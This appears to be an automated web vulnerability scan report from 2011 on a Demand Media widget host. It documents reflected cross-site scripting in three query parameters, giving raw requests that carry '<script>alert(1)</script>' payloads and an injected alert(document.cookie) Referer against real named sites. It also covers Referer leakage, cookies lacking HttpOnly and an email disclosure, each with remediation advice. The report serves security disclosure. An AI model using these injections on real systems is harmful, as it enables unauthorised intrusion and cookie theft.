Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the apiKey request parameter is copied into the HTML document as plain text between tags. The payload 7a830<script>alert(1)</script>d6bb9e3e3f6 was submitted in the apiKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /requests?apiKey=c1e69f40-d871-4fed-8266-8c2fb07d10a77a830<script>alert(1)</script>d6bb9e3e3f6&jsonpCallback=dmpod.RequestServiceInstances['pluckit_26830487161'].jsonpCallback&jsonpContext=request_979322348732&jsonRequest=%7B%22Envelopes%22%3A%5B%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Customers.GetCustomerRequest%22%2C%22payload%22%3A%22%7B%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Customers.GetCustomerRequest%5C%22%7D%22%7D%2C%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Content.GetRelatedAdLinksRequest%22%2C%22payload%22%3A%22%7B%5C%22pageUrl%5C%22%3A%5C%22http%3A//www.gastongazette.com/articles/tie-54571-says-stone.html%5C%22%2C%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Content.GetRelatedAdLinksRequest%5C%22%2C%5C%22searchTerm%5C%22%3A%5C%22%5C%22%2C%5C%22returnQueryParams%5C%22%3A%5C%22%5C%22%2C%5C%22reportingDomain%5C%22%3A%5C%22%5C%22%2C%5C%22numberOfSearchLinks%5C%22%3A%5C%225%5C%22%2C%5C%22numberOfResultLinks%5C%22%3A%5C%225%5C%22%2C%5C%22tagsProvider%5C%22%3A%5C%22%5C%22%2C%5C%22matchMethod%5C%22%3A%5C%22smoothedkeywords%5C%22%2C%5C%22articlesTaken%5C%22%3A%5C%2210%5C%22%2C%5C%22articlesThreshold%5C%22%3A%5C%223%5C%22%7D%22%7D%5D%2C%22returnDiagnostics%22%3Afalse%2C%22executeMethod%22%3A%22ExecuteAll%22%2C%22callerSDK%22%3A%22js%3A7315%22%7D HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000
Response
HTTP/1.1 200 OK Cache-Control: public, must-revalidate Pragma: PluckOnDemandApiRev=7315 Content-Length: 919 Content-Type: application/json; charset=utf-8 Expires: Wed, 26 Jan 2011 23:13:45 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: anonId=6cb68c22-28b7-420c-8242-089cd9da8dce; expires=Thu, 26-Jan-2012 23:13:45 GMT; path=/ Date: Wed, 26 Jan 2011 23:13:44 GMT
The value of the jsonpCallback request parameter is copied into the HTML document as plain text between tags. The payload 8536e<script>alert(1)</script>acc4db1652d was submitted in the jsonpCallback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /requests?apiKey=c1e69f40-d871-4fed-8266-8c2fb07d10a7&jsonpCallback=dmpod.RequestServiceInstances['pluckit_26830487161'].jsonpCallback8536e<script>alert(1)</script>acc4db1652d&jsonpContext=request_979322348732&jsonRequest=%7B%22Envelopes%22%3A%5B%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Customers.GetCustomerRequest%22%2C%22payload%22%3A%22%7B%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Customers.GetCustomerRequest%5C%22%7D%22%7D%2C%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Content.GetRelatedAdLinksRequest%22%2C%22payload%22%3A%22%7B%5C%22pageUrl%5C%22%3A%5C%22http%3A//www.gastongazette.com/articles/tie-54571-says-stone.html%5C%22%2C%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Content.GetRelatedAdLinksRequest%5C%22%2C%5C%22searchTerm%5C%22%3A%5C%22%5C%22%2C%5C%22returnQueryParams%5C%22%3A%5C%22%5C%22%2C%5C%22reportingDomain%5C%22%3A%5C%22%5C%22%2C%5C%22numberOfSearchLinks%5C%22%3A%5C%225%5C%22%2C%5C%22numberOfResultLinks%5C%22%3A%5C%225%5C%22%2C%5C%22tagsProvider%5C%22%3A%5C%22%5C%22%2C%5C%22matchMethod%5C%22%3A%5C%22smoothedkeywords%5C%22%2C%5C%22articlesTaken%5C%22%3A%5C%2210%5C%22%2C%5C%22articlesThreshold%5C%22%3A%5C%223%5C%22%7D%22%7D%5D%2C%22returnDiagnostics%22%3Afalse%2C%22executeMethod%22%3A%22ExecuteAll%22%2C%22callerSDK%22%3A%22js%3A7315%22%7D HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000
Response
HTTP/1.1 200 OK Cache-Control: public, must-revalidate Pragma: PluckOnDemandApiRev=7315 Content-Length: 4422 Content-Type: application/json; charset=utf-8 Expires: Wed, 26 Jan 2011 23:13:53 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: anonId=d958f547-3e43-4b64-a17b-28d5fe726a02; expires=Thu, 26-Jan-2012 23:13:53 GMT; path=/ Date: Wed, 26 Jan 2011 23:13:52 GMT
The value of the jsonpContext request parameter is copied into the HTML document as plain text between tags. The payload 912b8<script>alert(1)</script>24d30516472 was submitted in the jsonpContext parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /requests?apiKey=c1e69f40-d871-4fed-8266-8c2fb07d10a7&jsonpCallback=dmpod.RequestServiceInstances['pluckit_26830487161'].jsonpCallback&jsonpContext=request_979322348732912b8<script>alert(1)</script>24d30516472&jsonRequest=%7B%22Envelopes%22%3A%5B%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Customers.GetCustomerRequest%22%2C%22payload%22%3A%22%7B%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Customers.GetCustomerRequest%5C%22%7D%22%7D%2C%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Content.GetRelatedAdLinksRequest%22%2C%22payload%22%3A%22%7B%5C%22pageUrl%5C%22%3A%5C%22http%3A//www.gastongazette.com/articles/tie-54571-says-stone.html%5C%22%2C%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Content.GetRelatedAdLinksRequest%5C%22%2C%5C%22searchTerm%5C%22%3A%5C%22%5C%22%2C%5C%22returnQueryParams%5C%22%3A%5C%22%5C%22%2C%5C%22reportingDomain%5C%22%3A%5C%22%5C%22%2C%5C%22numberOfSearchLinks%5C%22%3A%5C%225%5C%22%2C%5C%22numberOfResultLinks%5C%22%3A%5C%225%5C%22%2C%5C%22tagsProvider%5C%22%3A%5C%22%5C%22%2C%5C%22matchMethod%5C%22%3A%5C%22smoothedkeywords%5C%22%2C%5C%22articlesTaken%5C%22%3A%5C%2210%5C%22%2C%5C%22articlesThreshold%5C%22%3A%5C%223%5C%22%7D%22%7D%5D%2C%22returnDiagnostics%22%3Afalse%2C%22executeMethod%22%3A%22ExecuteAll%22%2C%22callerSDK%22%3A%22js%3A7315%22%7D HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000
Response
HTTP/1.1 200 OK Cache-Control: public, must-revalidate Pragma: PluckOnDemandApiRev=7315 Content-Length: 4422 Content-Type: application/json; charset=utf-8 Expires: Wed, 26 Jan 2011 23:14:01 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: anonId=cff8d33d-b33f-4e84-83eb-d9f6a41823a1; expires=Thu, 26-Jan-2012 23:14:01 GMT; path=/ Date: Wed, 26 Jan 2011 23:14:01 GMT
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following link to another domain:
http://www.adobe.com/go/getflashplayer/
Request
GET /Widgets/v1/PluckItMonetizationWidget/generated.js?apikey=c1e69f40-d871-4fed-8266-8c2fb07d10a7 HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: max-age=28800 Content-Type: application/x-javascript Last-Modified: Wed, 08 Sep 2010 17:57:20 GMT Accept-Ranges: bytes ETag: "0c024487f4fcb1:23b4" Vary: Accept-Encoding Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET Date: Wed, 26 Jan 2011 20:20:24 GMT Set-Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000; path=/ Content-Length: 100670
var PodTrimPath;(function(){if(PodTrimPath==null){PodTrimPath=new Object()}if(PodTrimPath.evalEx==null){PodTrimPath.evalEx=function(src){return eval(src)}}var UNDEFINED;if(Array.prototype.pop==null){A ...[SNIP]... <p>The Adobe Flash Player installed in this browser is out of date. <a href="http://www.adobe.com/go/getflashplayer/" target="_blank">Please upgrade Adobe Flash Player.</a> ...[SNIP]...
The response contains the following link to another domain:
http://www.adobe.com/go/getflashplayer/
Request
GET /Widgets/v1/PluckItRelatedAdLinksWidget/generated.js?apikey= HTTP/1.1 Host: pluckit.demandmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: anonId=013776db-917b-4f04-9ea2-480093c2f370; BIGipServerPluckit2.Webpool-80=908461834.20480.0000;
Response
HTTP/1.1 200 OK Cache-Control: max-age=28800 Content-Length: 93601 Content-Type: application/x-javascript Last-Modified: Wed, 08 Sep 2010 17:57:24 GMT Accept-Ranges: bytes ETag: "01a874a7f4fcb1:23b4" Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET Date: Wed, 26 Jan 2011 23:57:53 GMT Connection: close
var PodTrimPath;(function(){if(PodTrimPath==null){PodTrimPath=new Object()}if(PodTrimPath.evalEx==null){PodTrimPath.evalEx=function(src){return eval(src)}}var UNDEFINED;if(Array.prototype.pop==null){A ...[SNIP]... <p>The Adobe Flash Player installed in this browser is out of date. <a href="http://www.adobe.com/go/getflashplayer/" target="_blank">Please upgrade Adobe Flash Player.</a> ...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 3 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Widgets/v1/PluckItMonetizationWidget/generated.js?apikey=c1e69f40-d871-4fed-8266-8c2fb07d10a7 HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: max-age=28800 Content-Type: application/x-javascript Last-Modified: Wed, 08 Sep 2010 17:57:20 GMT Accept-Ranges: bytes ETag: "0c024487f4fcb1:23b4" Vary: Accept-Encoding Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET Date: Wed, 26 Jan 2011 20:20:24 GMT Set-Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000; path=/ Content-Length: 100670
var PodTrimPath;(function(){if(PodTrimPath==null){PodTrimPath=new Object()}if(PodTrimPath.evalEx==null){PodTrimPath.evalEx=function(src){return eval(src)}}var UNDEFINED;if(Array.prototype.pop==null){A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=d958f547-3e43-4b64-a17b-28d5fe726a02
Response
HTTP/1.1 403 Forbidden Date: Thu, 27 Jan 2011 02:11:31 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/plain; charset=utf-8 Content-Length: 35 Set-Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /requests?apiKey=c1e69f40-d871-4fed-8266-8c2fb07d10a7&jsonpCallback=dmpod.RequestServiceInstances['pluckit_26830487161'].jsonpCallback&jsonpContext=request_979322348732&jsonRequest=%7B%22Envelopes%22%3A%5B%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Customers.GetCustomerRequest%22%2C%22payload%22%3A%22%7B%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Customers.GetCustomerRequest%5C%22%7D%22%7D%2C%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Content.GetRelatedAdLinksRequest%22%2C%22payload%22%3A%22%7B%5C%22pageUrl%5C%22%3A%5C%22http%3A//www.gastongazette.com/articles/tie-54571-says-stone.html%5C%22%2C%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Content.GetRelatedAdLinksRequest%5C%22%2C%5C%22searchTerm%5C%22%3A%5C%22%5C%22%2C%5C%22returnQueryParams%5C%22%3A%5C%22%5C%22%2C%5C%22reportingDomain%5C%22%3A%5C%22%5C%22%2C%5C%22numberOfSearchLinks%5C%22%3A%5C%225%5C%22%2C%5C%22numberOfResultLinks%5C%22%3A%5C%225%5C%22%2C%5C%22tagsProvider%5C%22%3A%5C%22%5C%22%2C%5C%22matchMethod%5C%22%3A%5C%22smoothedkeywords%5C%22%2C%5C%22articlesTaken%5C%22%3A%5C%2210%5C%22%2C%5C%22articlesThreshold%5C%22%3A%5C%223%5C%22%7D%22%7D%5D%2C%22returnDiagnostics%22%3Afalse%2C%22executeMethod%22%3A%22ExecuteAll%22%2C%22callerSDK%22%3A%22js%3A7315%22%7D HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000
Response
HTTP/1.1 200 OK Cache-Control: public, must-revalidate Pragma: PluckOnDemandApiRev=7315 Content-Length: 4401 Content-Type: application/json; charset=utf-8 Expires: Wed, 26 Jan 2011 20:20:26 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: anonId=786d8113-2ac4-4282-8333-2b3479cce570; expires=Thu, 26-Jan-2012 20:20:26 GMT; path=/ Date: Wed, 26 Jan 2011 20:20:26 GMT
The following email address was disclosed in the response:
PMC_8580_8580@hotkeys.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /requests?apiKey=c1e69f40-d871-4fed-8266-8c2fb07d10a7&jsonpCallback=dmpod.RequestServiceInstances['pluckit_26830487161'].jsonpCallback&jsonpContext=request_979322348732&jsonRequest=%7B%22Envelopes%22%3A%5B%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Customers.GetCustomerRequest%22%2C%22payload%22%3A%22%7B%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Customers.GetCustomerRequest%5C%22%7D%22%7D%2C%7B%22callerSDK%22%3A%22js%3A7315%22%2C%22objectType%22%3A%22Core.RequestEnvelope%22%2C%22payloadType%22%3A%22Content.GetRelatedAdLinksRequest%22%2C%22payload%22%3A%22%7B%5C%22pageUrl%5C%22%3A%5C%22http%3A//www.gastongazette.com/articles/tie-54571-says-stone.html%5C%22%2C%5C%22callerSDK%5C%22%3A%5C%22js%3A7315%5C%22%2C%5C%22objectType%5C%22%3A%5C%22Content.GetRelatedAdLinksRequest%5C%22%2C%5C%22searchTerm%5C%22%3A%5C%22%5C%22%2C%5C%22returnQueryParams%5C%22%3A%5C%22%5C%22%2C%5C%22reportingDomain%5C%22%3A%5C%22%5C%22%2C%5C%22numberOfSearchLinks%5C%22%3A%5C%225%5C%22%2C%5C%22numberOfResultLinks%5C%22%3A%5C%225%5C%22%2C%5C%22tagsProvider%5C%22%3A%5C%22%5C%22%2C%5C%22matchMethod%5C%22%3A%5C%22smoothedkeywords%5C%22%2C%5C%22articlesTaken%5C%22%3A%5C%2210%5C%22%2C%5C%22articlesThreshold%5C%22%3A%5C%223%5C%22%7D%22%7D%5D%2C%22returnDiagnostics%22%3Afalse%2C%22executeMethod%22%3A%22ExecuteAll%22%2C%22callerSDK%22%3A%22js%3A7315%22%7D HTTP/1.1 Host: pluckit.demandmedia.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerPluckit2.Webpool-80=908461834.20480.0000
Response
HTTP/1.1 200 OK Cache-Control: public, must-revalidate Pragma: PluckOnDemandApiRev=7315 Content-Length: 4401 Content-Type: application/json; charset=utf-8 Expires: Wed, 26 Jan 2011 20:20:26 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml?apiKey=00000000-0000-0000-0000-000000000000", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: anonId=786d8113-2ac4-4282-8333-2b3479cce570; expires=Thu, 26-Jan-2012 20:20:26 GMT; path=/ Date: Wed, 26 Jan 2011 20:20:26 GMT